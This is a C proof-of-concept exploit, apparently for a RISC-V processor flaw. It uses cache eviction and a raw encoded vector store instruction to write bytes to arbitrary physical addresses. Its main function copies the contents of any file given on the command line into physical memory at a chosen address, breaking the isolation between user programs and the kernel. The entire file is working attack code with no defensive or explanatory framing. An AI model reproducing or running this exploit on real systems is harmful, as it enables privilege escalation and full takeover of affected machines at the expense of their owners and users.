exploit.c

#include <stdint.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>

#include <string.h>

char __attribute__((aligned(4096))) buffer[2<<20];

static inline __attribute__((always_inline)) void maccess(void *addr) {
    asm volatile("ld a7, (%0)" : : "r"(addr) : "a7", "memory");
}

static void evict() {
    for (unsigned i = 0; i < sizeof(buffer); i+=4096) {
        maccess(&buffer[i]);
    }
    asm volatile("fence\n\t");
}

void evict_init() {
    memset(buffer, 0xff, sizeof(buffer));
}

static void write_8(size_t phys_addr, uint8_t val) {
    evict();
    asm volatile(\
        "vsetvli x0, x0, e16, m1\n\t"
        "vmv.v.x v8, %1\n\t"
        "mv gp, %0\n\t"
        ".fill 1, 4, 0xf201f0a7\n\t"
    :: "r"(phys_addr), "r"(val) : "a5", "gp");
    asm volatile("fence\n\t");
}

#define write_phys write_8

int main(int argc, char** argv) {
    /* write content of file to physical address: ./exploit <physical_address> <file> */

   
    evict_init();
    
    uintptr_t start_addr = strtoull(argv[1], NULL, 0);
    
    FILE *f = fopen(argv[2], "rb");
    fseek(f, 0, SEEK_END);
    size_t fsize = ftell(f);
    fseek(f, 0, SEEK_SET);
    
    uint8_t *content = malloc(fsize + 1);
    fread(content, fsize, 1, f);
    fclose(f);
    
    printf("writing %zu bytes to 0x%016zx\n", fsize, start_addr);
    
    for(size_t offset = 0; offset < fsize; offset ++) {
        write_phys(start_addr + offset, content[offset]);
    }
}